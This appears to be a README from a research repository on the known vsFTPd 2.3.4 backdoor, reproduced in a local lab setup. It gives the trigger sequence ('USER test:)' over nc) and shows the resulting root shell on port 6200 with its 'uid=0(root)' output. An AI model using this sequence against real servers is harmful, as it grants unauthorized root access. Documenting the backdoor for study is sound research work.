Skip to content

Latest commit

 

History

History

vsftpd-2.3.4

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

vsFTPd 2.3.4 backdoor

  • Type: hardcoded credentials
  • Affected versions: 2.3.4

Backdoor

When authenticating into the FTP server, if the username contains ":)", a shell is bound to port 6200.

Triggering the backdoor

First, we need to start the FTP server (e.g., with the backdoored variant):

$ ./backdoored/vsftpd ./vsftpd.conf

In a separate terminal, we can trigger the backdoor:

$ nc localhost 8080  # connect to FTP server
220 (vsFTPd 2.3.4)
USER test:)
331 Please specify the password.
PASS x

We can now connect to a root shell on port 6200:

$ nc localhost 6200
id
uid=0(root) gid=0(root) groups=0(root)

Reference

https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html